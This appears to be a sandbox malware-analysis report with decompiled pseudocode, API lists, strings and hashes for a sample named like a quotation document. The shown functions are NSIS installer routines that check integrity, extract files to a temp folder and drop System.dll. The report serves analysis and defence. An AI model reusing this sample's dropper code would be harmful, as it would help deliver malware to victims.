						 *0x423728 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a260, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x428200;
					E00406536(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a298 + _t78 * 2,  *0x42a298 +  *(_t82 + 0x4c) * 2, 0x428200, 0);
					_t63 =  *0x428200; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x428202;
						 *((short*)(E00405F64(0x428202, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E00406668(_t86, E00405F37(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405F83(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403d1d
0x00403d26
0x00403d2d
0x00403d2f
0x00403d43
0x00403d55
0x00403d5e
0x00403d67
0x00403d6e
0x00403d73
0x00403d7a
0x00403d8d
0x00403d8d
0x00403d98
0x00403d31
0x00403d3c
0x00403d3c
0x00403d9d
0x00403da7
0x00403db0
0x00403db5
0x00403dc6
0x00403e58
0x00403e60
0x00403e69
0x00403e69
0x00403e7f
0x00403e85
0x00403e93
0x00403f14
0x00403f1c
0x00403f26
0x00403f2b
0x00403f31
0x00403fbb
0x00403fc0
0x00403fc2
0x00403fde
0x00000000
0x00403fde
0x00403fc4
0x00403fca
0x00403fd2
0x00403fd2
0x00000000
0x00403fca
0x00403f3f
0x00403f4a
0x00403f4f
0x00403f51
0x00403f58
0x00403f58
0x00403f63
0x00403f6b
0x00403f6d
0x00403f6f
0x00403f78
0x00403f7b
0x00403f81
0x00403f81
0x00403fa0
0x00403fb1
0x00000000
0x00403fb6
0x00403f1e
0x00403f20
0x00000000
0x00403e95
0x00403e95
0x00403ea1
0x00403eab
0x00403eb1
0x00403eb6
0x00403ec5
0x00403fe3
0x00403fe3
0x00000000
0x00403fe3
0x00403ed4
0x00403f0f
0x00000000
0x00403f0f
0x00403dcc
0x00403dcc
0x00403dcf
0x00403dd1
0x00000000
0x00000000
0x00403ddf
0x00403df1
0x00403df6
0x00403dff
0x00000000
0x00000000
0x00403e05
0x00403e07
0x00403e14
0x00403e14
0x00403e1d
0x00403e23
0x00403e4b
0x00403e53
0x00000000
0x00403e35
0x00403e36
0x00403e3f
0x00403e45
0x00403e46
0x00000000
0x00403e46
0x00403e41
0x00403e43
0x00000000
0x00000000
0x00000000
0x00403e43
0x00403e23

APIs

Part of subcall function 00406A35: GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
Part of subcall function 00406A35: GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

lstrcatW.KERNEL32(1033,00423748), ref: 00403D98
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,767C3420), ref: 00403E18
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403E2B
GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403E36
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp), ref: 00403E7F

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

RegisterClassW.USER32(00429200), ref: 00403EBC
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403ED4
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403F09
ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403F3F
GetClassInfoW.USER32(00000000,RichEdit20W,00429200), ref: 00403F6B
GetClassInfoW.USER32(00000000,RichEdit,00429200), ref: 00403F78
RegisterClassW.USER32(00429200), ref: 00403F81
DialogBoxParamW.USER32(?,00000000,004040C5,00000000), ref: 00403FA0

Strings

Call, xrefs: 00403DDF, 00403DE8, 00403DF6, 00403E45, 00403E4B
RichEdit, xrefs: 00403F72
.DEFAULT\Control Panel\International, xrefs: 00403D83
C:\Users\user\AppData\Local\Temp\, xrefs: 00403D1C
1033, xrefs: 00403D37, 00403D93
RichEdit20W, xrefs: 00403F63, 00403F69
Control Panel\Desktop\ResourceLocale, xrefs: 00403D4B
_Nb, xrefs: 00403E9B, 00403F03
C:\Users\user\AppData\Local\Temp, xrefs: 00403DA7, 00403DAF, 00403E52, 00403E58, 00403E68
.exe, xrefs: 00403E25
RichEd20, xrefs: 00403F45
RichEd32, xrefs: 00403F53
H7B, xrefs: 00403D43

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1664645273
Opcode ID: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction ID: e235badc60aeba35c86cf297cd954ec43a22164425911800af60bc979c7621a1
Opcode Fuzzy Hash: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction Fuzzy Hash: E661D570640201BAD730AF66AD45E2B3A7CEB84B49F40457FF945B22E1DB3D5911CA3D

Uniqueness

Uniqueness Score: -1.00%

Function 004030D0 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E004030D0(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				signed int _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				signed int _t77;
				signed int _t82;
				signed int _t83;
				signed int _t89;
				intOrPtr _t92;
				long _t94;
				signed int _t102;
				signed int _t104;
				void* _t106;
				signed int _t107;
				signed int _t110;
				void* _t111;

				_t94 = 0;
				_v8 = 0;
				_v12 = 0;
				 *0x42a26c = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe", 0x400);
				_t106 = E00406158(L"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe", 0x80000000, 3);
				 *0x40a018 = _t106;
				if(_t106 == 0xffffffff) {
					return L"Error launching installer";
				}
				E00406668(L"C:\\Users\\Arthur\\Desktop", L"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe");
				E00406668(0x439000, E00405F83(L"C:\\Users\\Arthur\\Desktop"));
				_t54 = GetFileSize(_t106, 0);
				__eflags = _t54;
				 *0x420f00 = _t54;
				_t110 = _t54;
				if(_t54 <= 0) {
					L24:
					E0040302E(1);
					__eflags =  *0x42a274 - _t94;
					if( *0x42a274 == _t94) {
						goto L32;
					}
					__eflags = _v12 - _t94;
					if(_v12 == _t94) {
						L28:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t111 = _t57;
						E00406B90(0x40ce68);
						E00406187(0x40ce68,  &_v560, L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileW( &_v560, 0xc0000000, _t94, _t94, 2, 0x4000100, _t94); // executed
						__eflags = _t62 - 0xffffffff;
						 *0x40a01c = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E004035F8( *0x42a274 + 0x1c);
							 *0x420f04 = _t65;
							 *0x420ef8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E00403371(_v16, 0xffffffff, _t94, _t111, _v20); // executed
							__eflags = _t68 - _v20;
							if(_t68 == _v20) {
								__eflags = _v40 & 0x00000001;
								 *0x42a270 = _t111;
								 *0x42a278 =  *_t111;
								if((_v40 & 0x00000001) != 0) {
									 *0x42a27c =  *0x42a27c + 1;
									__eflags =  *0x42a27c;
								}
								_t45 = _t111 + 0x44; // 0x44
								_t70 = _t45;
								_t102 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t111;
									_t102 = _t102 - 1;
									__eflags = _t102;
								} while (_t102 != 0);
								_t71 =  *0x420ef4; // 0x26698
								 *((intOrPtr*)(_t111 + 0x3c)) = _t71;
								E00406113(0x42a280, _t111 + 4, 0x40);
								__eflags = 0;
								return 0;
							}
							goto L32;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E004035F8( *0x420ef0);
					_t77 = E004035E2( &_a4, 4);
					__eflags = _t77;
					if(_t77 == 0) {
						goto L32;
					}
					__eflags = _v8 - _a4;
					if(_v8 != _a4) {
						goto L32;
					}
					goto L28;
				} else {
					do {
						_t107 = _t110;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x42a274) & 0x00007e00) + 0x200;
						__eflags = _t110 - _t82;
						if(_t110 >= _t82) {
							_t107 = _t82;
						}
						_t83 = E004035E2(0x418ef0, _t107);
						__eflags = _t83;
						if(_t83 == 0) {
							E0040302E(1);
							L32:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x42a274;
						if( *0x42a274 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E0040302E(0);
							}
							goto L20;
						}
						E00406113( &_v40, 0x418ef0, 0x1c);
						_t89 = _v40;
						__eflags = _t89 & 0xfffffff0;
						if((_t89 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v36 - 0xdeadbeef;
						if(_v36 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v24 - 0x74736e49;
						if(_v24 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v28 - 0x74666f73;
						if(_v28 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v32 - 0x6c6c754e;
						if(_v32 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t89;
						_t104 =  *0x420ef0; // 0x0
						 *0x42a300 =  *0x42a300 | _a4 & 0x00000002;
						_t92 = _v16;
						__eflags = _t92 - _t110;
						 *0x42a274 = _t104;
						if(_t92 > _t110) {
							goto L32;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v12 = _v12 + 1;
							_t110 = _t92 - 4;
							__eflags = _t107 - _t110;
							if(_t107 > _t110) {
								_t107 = _t110;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t110 -  *0x420f00; // 0x9e
						if(__eflags < 0) {
							_v8 = E00406B22(_v8, 0x418ef0, _t107);
						}
						 *0x420ef0 =  *0x420ef0 + _t107;
						_t110 = _t110 - _t107;
						__eflags = _t110;
					} while (_t110 != 0);
					_t94 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x004030db
0x004030de
0x004030e1
0x004030fb
0x00403100
0x00403113
0x00403118
0x0040311e
0x00000000
0x00403120
0x00403131
0x00403142
0x00403149
0x0040314f
0x00403151
0x00403156
0x00403158
0x00403243
0x00403245
0x0040324a
0x00403251
0x00000000
0x00000000
0x00403257
0x0040325a
0x00403286
0x0040328b
0x00403296
0x00403298
0x004032a9
0x004032c4
0x004032ca
0x004032cd
0x004032d2
0x004032f1
0x00403301
0x00403313
0x00403318
0x0040331d
0x00403320
0x00403329
0x0040332d
0x00403335
0x0040333a
0x0040333c
0x0040333c
0x0040333c
0x00403344
0x00403344
0x00403347
0x00403348
0x00403348
0x0040334b
0x0040334d
0x0040334d
0x0040334d
0x00403350
0x00403357
0x00403363
0x00403368
0x00000000
0x00403368
0x00000000
0x00403320
0x00000000
0x004032d4
0x00403262
0x0040326d
0x00403272
0x00403274
0x00000000
0x00000000
0x0040327d
0x00403280
0x00000000
0x00000000
0x00000000
0x0040315e
0x00403163
0x00403168
0x0040316c
0x00403173
0x00403178
0x0040317a
0x0040317c
0x0040317c
0x00403180
0x00403185
0x00403187
0x004032e0
0x00403322
0x00000000
0x00403322
0x0040318d
0x00403194
0x00403210
0x00403214
0x00403218
0x0040321d
0x00000000
0x00403214
0x0040319d
0x004031a2
0x004031a5
0x004031aa
0x00000000
0x00000000
0x004031ac
0x004031b3
0x00000000
0x00000000
0x004031b5
0x004031bc
0x00000000
0x00000000
0x004031be
0x004031c5
0x00000000
0x00000000
0x004031c7
0x004031ce
0x00000000
0x00000000
0x004031d0
0x004031d6
0x004031df
0x004031e5
0x004031e8
0x004031ea
0x004031f0
0x00000000
0x00000000
0x004031f6
0x004031fa
0x00403202
0x00403202
0x00403205
0x00403208
0x0040320a
0x0040320c
0x0040320c
0x00000000
0x0040320a
0x004031fc
0x00403200
0x00000000
0x00000000
0x00000000
0x0040321e
0x0040321e
0x00403224
0x00403230
0x00403230
0x00403233
0x00403239
0x00403239
0x00403239
0x00403241
0x00403241
0x00000000
0x00403241

APIs

GetTickCount.KERNEL32 ref: 004030E4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,00000400), ref: 00403100

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,80000000,00000003), ref: 00403149
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328B

Strings

soft, xrefs: 004031BE
Inst, xrefs: 004031B5
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D4
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403322
C:\Users\user\Desktop, xrefs: 0040312B, 00403130, 00403136
C:\Users\user\AppData\Local\Temp\, xrefs: 004030DA, 004032A3
Error launching installer, xrefs: 00403120
Null, xrefs: 004031C7
C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe, xrefs: 004030EA, 004030F9, 0040310D, 0040312A

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-932482504
Opcode ID: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction ID: 6a7077609e6cbe8902eef3654a796be60faa9129f620d49927b75729aeb44cd1
Opcode Fuzzy Hash: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction Fuzzy Hash: 74710271A40204ABDB20DFB5DD85B9E3AACAB04315F21457FF901B72D2CB789E418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405FAE( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"Call";
				if(_t35 == 0) {
					lstrcatW(E00405F37(E00406668(_t81, L"C:\\Users\\Arthur\\AppData\\Local\\Temp")), ??);
				} else {
					E00406668();
				}
				E004068EF(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E0040699E(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406133(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00406158(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004056CA(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x42a2e8;
						goto L32;
					} else {
						E00406668("C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp", _t83);
						E00406668(_t83, _t81);
						E004066A5(_t77, _t81, _t83, "C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x1c)));
						E00406668(_t83, "C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp");
						_t64 = E00405CC8("C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp\System.dll",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x42a2e8 =  &( *0x42a2e8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E004056CA();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004056CA(0xffffffea,  *(_t86 - 8)); // executed
				 *0x42a314 =  *0x42a314 + 1;
				_t45 = E00403371(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x42a314 =  *0x42a314 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E004066A5(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E004066A5(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405CC8();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,?,?,00000031), ref: 004017D5

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Strings

Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Local\Temp, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp$C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll$Call
API String ID: 1941528284-1314360169
Opcode ID: 399e8552882e80e4b3524515d38fd94e295efdac2a56a00d8f68241b5a4a94ca
Instruction ID: 87dd38174d63fc88252c3cacf76d35d2aef1a13c6195c1d88e2760da23471212
Opcode Fuzzy Hash: 399e8552882e80e4b3524515d38fd94e295efdac2a56a00d8f68241b5a4a94ca
Instruction Fuzzy Hash: DE41B771500205BACF10BBB5CD85DAE7A75EF45328B20473FF422B21E1D63D89619A2E

Uniqueness

Uniqueness Score: -1.00%

Function 004056CA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004056CA(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x429244;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x42a314;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E004066A5(_t38, 0, 0x422728, 0x422728, _a4);
					}
					_t27 = lstrlenW(0x422728);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x429228, 0x422728); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x422728;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x422728[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x422728, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004056d0
0x004056da
0x004056df
0x004056e5
0x004056f0
0x004056f3
0x004056f6
0x004056fc
0x004056fc
0x00405702
0x0040570a
0x0040570d
0x0040572a
0x0040572e
0x00405737
0x00405737
0x00405741
0x0040574a
0x00405756
0x0040575d
0x00405761
0x00405764
0x00405777
0x00405785
0x00405785
0x00405789
0x0040578b
0x0040578e
0x00000000
0x0040578e
0x0040570f
0x00405717
0x0040571f
0x00405725
0x00000000
0x00405725
0x0040571f
0x0040570d
0x0040579a

APIs

lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
SetWindowTextW.USER32(00422728,00422728), ref: 00405737
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
